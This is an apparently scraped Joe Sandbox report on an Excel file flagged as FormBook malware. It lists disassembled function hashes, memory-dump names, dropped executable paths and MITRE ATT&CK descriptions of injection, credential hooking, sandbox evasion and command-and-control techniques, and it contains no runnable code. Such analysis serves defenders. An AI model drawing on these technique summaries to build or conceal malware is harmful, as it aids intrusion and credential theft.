Associated: 0000000A.00000002.849798315.00000000020E0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002160000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1ff0000_chkdsk.jbxd

Similarity

API ID: __fassign
String ID:
API String ID: 3965848254-0
Opcode ID: cf2859dc65627fbf80b6c0eada531fd5cb93d2a8787631212c3d4041a421bf55
Instruction ID: f43cf34e722000989ec3a8c4b396f0380e7496f1627bed7426020a09e66b15ba
Opcode Fuzzy Hash: cf2859dc65627fbf80b6c0eada531fd5cb93d2a8787631212c3d4041a421bf55
Instruction Fuzzy Hash: 3991ADB1D0031AEEDF25CF9AC8486EEBBF5FB41309F20C0BAD405A6551EB705A41EB95

Uniqueness

Uniqueness Score: -1.00%

Function 020C5CFA Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 237COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 020C5DE8

Strings

$, xrefs: 020C5D36
0, xrefs: 020C5DBF

Memory Dump Source

Source File: 0000000A.00000002.849798315.0000000002000000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FF0000, based on PE: true

Associated: 0000000A.00000002.849798315.0000000001FF0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020E0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002160000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1ff0000_chkdsk.jbxd

Similarity

API ID: __aulldvrm
String ID: $$0
API String ID: 1302938615-389342756
Opcode ID: 5ec53fd174c94412d6c9a2f6be3b97f00ee82c4503b8347db2541d895e0a5d7d
Instruction ID: e43cb7a34473cd81ff704d146df66396da0fa074d6c0477280e8a2253e5aeb5c
Opcode Fuzzy Hash: 5ec53fd174c94412d6c9a2f6be3b97f00ee82c4503b8347db2541d895e0a5d7d
Instruction Fuzzy Hash: BB91AFF8C0439A9ADF6ACF988C443EDBFF1AF01314FA4465ED4A1B6291C3746641EB50

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API ).
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	Drive: Drive Modification, File: File Modification, Firmware: Firmware Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report RFQ-T56797W_1.xlsx

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: FormBook

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

Exploits

Snort Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\jakatrol2.1[1].exe

C:\Users\user\AppData\Local\Temp\2D86.tmp

C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe

C:\Users\user\AppData\Local\Temp\wekfrorm.cno

C:\Users\user\AppData\Local\Temp\~DFB4BAED8D676EAAFE.TMP

C:\Users\user\AppData\Roaming\word.exe

C:\Users\user\Desktop\~$RFQ-T56797W_1.xlsx

Static File Info

General

File Icon

Windows Analysis Report
RFQ-T56797W_1.xlsx

Function 036BB92B Relevance: 3.1, APIs: 2, Instructions: 145
libraryCOMMON

Function 036BBA9B Relevance: 3.0, APIs: 2, Instructions: 46
processCOMMON

Function 036BB953 Relevance: 1.6, APIs: 1, Instructions: 121
COMMON

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre